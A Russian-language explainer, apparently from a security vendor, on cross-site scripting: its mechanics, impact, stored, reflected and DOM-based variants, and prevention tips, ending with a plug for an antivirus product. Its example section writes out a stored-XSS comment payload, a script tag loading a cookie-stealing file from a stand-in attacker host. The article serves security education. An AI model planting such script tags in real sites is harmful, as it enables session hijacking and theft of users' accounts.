Что такое межсайтовый скриптинг?
Атаки с использованием межсайтового скриптинга представляют собой внедрение вредоносного кода на доверенные веб-сайты. В процессе атаки происходит внедрение вредоносных скриптов в контент веб-сайта. Затем эти скрипты включаются в динамический контент, отображаемый в браузере жертвы. Браузер жертвы не знает, что вредоносные скрипты не являются доверенными, и выполняет их.
В результате вредоносные скрипты могут получить доступ к файлам cookie, идентификаторам сеансов, и прочей конфиденциальной информации, сохраненной браузером и используемой на этом сайте. Злоумышленники также могут использовать межсайтовый скриптинг для распространения вредоносных программ, перезаписи содержимого веб-сайтов, создания проблем в социальных сетях и фишинга с целью получения учетных данных пользователей. Межсайтовый скриптинг отличается от других веб-атак тем, что не нацелен непосредственно на само приложение – риску подвергаются пользователи веб-приложения.
Как работает межсайтовый скриптинг?
При атаке с использованием межсайтового скриптинга уязвимый сайт нужен лишь для выполнения на устройствах пользователей вредоносных скриптов. Часто в этих целях применяют JavaScript, но может использоваться любой клиентский язык. Киберпреступники нацеливаются на веб-сайты с уязвимыми функциями, предназначенными для ввода данных пользователями: панелями поиска, полями для ввода комментариев, формами входа. Они внедряют вредоносный код на легальные веб-сайты, по сути, заставляя браузеры обманным путем запускать вредоносные программы при каждой загрузке сайта.
JavaScript запускается на странице браузера жертвы, в результате чего конфиденциальные данные о пользователе, выполнившем вход в систему, могут быть украдены из сеанса. Это используется злоумышленниками для атак на администраторов сайтов и взлома самих сайтов.
В зависимости от способа внедрения кода, вредоносный контент может присутствовать даже не на самой веб-странице, а являться временным элементом, кажущимся частью веб-сайта на период атаки. Это может создать иллюзию компрометации реального веб-сайта, хотя это не так.
Существуют различные способы инициировать атаку с использованием межсайтового скриптинга. Например, выполнение скрипта может запускаться автоматически при загрузке страницы или при наведении курсора на определенные элементы страницы, такие как гиперссылки. В некоторых случаях атака с использованием межсайтового скриптинга осуществляется напрямую, например, из сообщения электронной почты. Некоторые атаки с использованием межсайтового скриптинга не имеют конкретной цели; злоумышленники просто используют уязвимости в приложении или на сайте, и любой может стать их жертвой.
В зависимости от масштаба атаки могут быть скомпрометированы учетные записи пользователей, активированы троянские программы, а также изменено содержимое страницы, что заставит пользователей раскрыть личные данные. Могут быть раскрыты файлы cookie сеансов, что позволяет злоумышленникам выдавать себя за реальных пользователей и использовать их личные учетные записи.
Успешная атака с использованием межсайтового скриптинга может иметь катастрофические последствия для репутации онлайн-компаний и их взаимоотношений с клиентами. К сожалению, уязвимости, допускающие успешное осуществление атак с использованием межсайтового скриптинга, являются довольно распространенными. При таких атаках могут использоваться уязвимости в различных средах программирования, включая VBScript, Flash, ActiveX и JavaScript. В первую очередь эти атаки ориентированы на JavaScript из-за его тесной интеграции с большинством браузеров. Способность работать на наиболее популярных платформах делает атаки с использованием межсайтового скриптинга опасными и широко распространенными.
Воздействие межсайтового скриптинга
Злоумышленники могут использовать уязвимости для совершения следующих вредоносных действий:
- Перенаправление пользователей на вредоносные сайты.
- Запись нажатий клавиш пользователями.
- Доступ к истории просмотра и содержимому буфера обмена.
- Запуск эксплойтов веб-браузера (например, вызывающих сбой браузера).
- Получение файлов cookie пользователя, вошедшего на сайт.
- Кража токена сеанса входа в систему, что позволяет злоумышленнику работать с приложением от имени пользователя, не зная его пароля.
- Принуждение пользователя к отправке контролируемых злоумышленником запросов на сервер.
- Изменение содержимого страницы.
- Вынуждение пользователя обманным путем сообщить пароль от приложения.
- Заражение компьютера пользователя другим вредоносным кодом с использованием уязвимостей веб-браузера, возможно, захват компьютера пользователя.
В некоторых случаях атаки с использованием межсайтового скриптинга могут привести к полной компрометации учетной записи пользователя. Злоумышленники могут обманным путем заставить пользователей ввести учетные данные в поддельной форме, из которой затем получают всю информацию. Учетные данные пользователей могут использоваться для кражи личных данных и финансового мошенничества.
Виды атак с использованием межсайтового скриптинга
Атаки с использованием межсайтового скриптинга можно разделить на три основные категории: хранимые, отраженные и на основе DOM.
Хранимые (постоянные)
Хранимые (постоянные) межсайтовые скрипты считаются наиболее опасными. Атаки с их использованием возникают при сохранении введенных пользователем данных с последующим их отображением на веб-странице. Типичные точки входа хранимых межсайтовых скриптов – это форумы, комментарии в блогах, профили пользователей и поля для ввода имени пользователя. Злоумышленники обычно используют эту уязвимость, внедряя межсайтовые скрипты на популярные страницы сайта или передавая пользователю ссылку для перехода на страницу, содержащую сохраненный скрипт. Пользователь заходит на страницу, и скрипт выполняется его браузером на стороне клиента.
Отраженные (непостоянные)
Отраженный (непостоянный) – это наиболее распространенный тип межсайтового скриптинга. В этом случае скрипт должен являться частью запроса, отправленного на веб-сервер. Затем запрос возвращается (отражается) обратно таким образом, что ответ HTTP включает данные из запроса HTTP. Злоумышленники используют вредоносные ссылки, фишинговые электронные письма и другие методы социальной инженерии, чтобы обманным путем заставить пользователя отправить запрос на сервер. Отраженные данные затем используются при выполнении скрипта в браузере пользователя.
Отраженный межсайтовый скриптинг не является постоянной атакой, поэтому злоумышленник должен доставить вредоносный скрипт каждому пользователю. Такие атаки часто совершаются через социальные сети.
Межсайтовый скриптинг на основе DOM
Межсайтовый скриптинг на основе DOM использует уязвимость DOM-модели (Document Object Model – объектной модели документа), а не HTML. В отраженных и хранимых атаках с использованием межсайтового скриптинга данные, полученные в результате эксплуатации уязвимости, отображаются на странице ответа. Однако при межсайтовом скриптинге на основе DOM исходный HTML-код атаки и ответ будут совпадать, то есть данные не могут быть получены в ответе на запрос, их можно получить только в среде выполнения или при исследовании DOM-модели страниц.
Атаки с использованием межсайтового скриптинга на основе DOM часто выполняются на стороне клиента, а вредоносная нагрузка не отправляется на сервер. Это еще больше затрудняет обнаружение таких атак как с помощью сетевых экранов веб-приложений, так и для инженеров по безопасности, выполняющих анализ журналов серверов, поскольку они не видят самой атаки. Чаще всего используют следующие объекты DOM: веб-адрес (document.URL), якорная часть веб-адреса (location.hash) и адрес страницы, с которой был совершен переход (document.referrer).
Примеры атак с использованием межсайтового скриптинга
При просмотре веб-сайта, посвященного электронной коммерции, злоумышленник обнаруживает уязвимость, позволяющую встраивать HTML-теги в раздел комментариев сайта. Встроенные теги становятся постоянной функцией страницы: браузер включает их вместе с остальной частью исходного кода при каждом открытии страницы.
Злоумышленник добавляет следующий комментарий: Очень полезный объект. Полный обзор можно прочитать здесь: <script src=”http://attackersite.com/authstealer.js”> </script>.
Теперь при каждом доступе к странице помещенный в комментарий HTML-тег активирует файл JavaScript, размещенный на другом сайте, и позволяет украсть файлы cookie сеансов посетителей страницы.
Файлы cookie сеансов позволяют злоумышленникам взламывать учетные записи посетителей и получать доступ к их личной информации и финансовым данным. Между тем, посетители страницы, возможно, даже не прокрутили до раздела комментариев, и не подозревают о том, что произошла атака.
В отличие от отраженной атаки, в которой скрипт активируется при переходе по ссылке, для сохраненной атаки достаточно, чтобы пользователь только посетил скомпрометированную веб-страницу. Это увеличивает масштаб атаки, подвергая опасности всех посетителей страницы, независимо от того, насколько они осторожны.
С точки зрения злоумышленника, постоянные атаки с использованием межсайтового скриптинга сложнее в плане реализации из-за трудностей с обнаружением как веб-сайта, на который идет трафик, так и веб-сайта с уязвимостями, позволяющими встраивать постоянные скрипты.
Предотвращение атак с использованием межсайтового скриптинга
Чтобы свести к минимуму уязвимости, используемые в атаках межсайтового скриптинга, разработчики и владельцы веб-сайтов должны:
- Убедиться, что все страницы сайта, принимающие вводимые пользователями данные, отфильтровывают вводимые коды, такие как HTML и JavaScript.
- Проверять веб-приложения на наличие уязвимостей и исправлять их соответствующим образом.
- Обновлять свой веб-сайт и серверное программное обеспечение, чтобы предотвратить дальнейшее использование уязвимостей в атаках межсайтового скриптинга.
Чтобы не стать жертвой атаки с использованием межсайтового скриптинга, пользователи должны:
- Отключить выполнение скриптов на страницах, где в них нет необходимости, или полностью отключить выполнение скриптов.
- Не переходить по ссылкам в подозрительных сообщениях электронной почты и постах, поскольку это может привести к взлому страниц.
- Переходить на веб-сайты напрямую, вводя веб-адрес в адресную строку браузера, а не из сторонних источников или по ссылкам.
- Обновлять программное обеспечение, чтобы не пропустить последние исправления и патчи безопасности. Регулярное обновление программного обеспечения значительно снизит количество уязвимостей, в частности, для атак с использованием межсайтового скриптинга, на сайте или в приложении.
- Проверять и выявлять, какие приложения являются необходимыми, а какие используются редко. Удаление неиспользуемых приложений снижает количество потенциальных уязвимостей.
- Использовать высококачественное антивирусное программное решение, такое как Kaspersky Premium, для защиты устройств и данных. Это решение блокирует обычные и сложные угрозы: вирусы, программы-вымогатели, шпионские приложения и хакерские атаки.
Статьи по теме: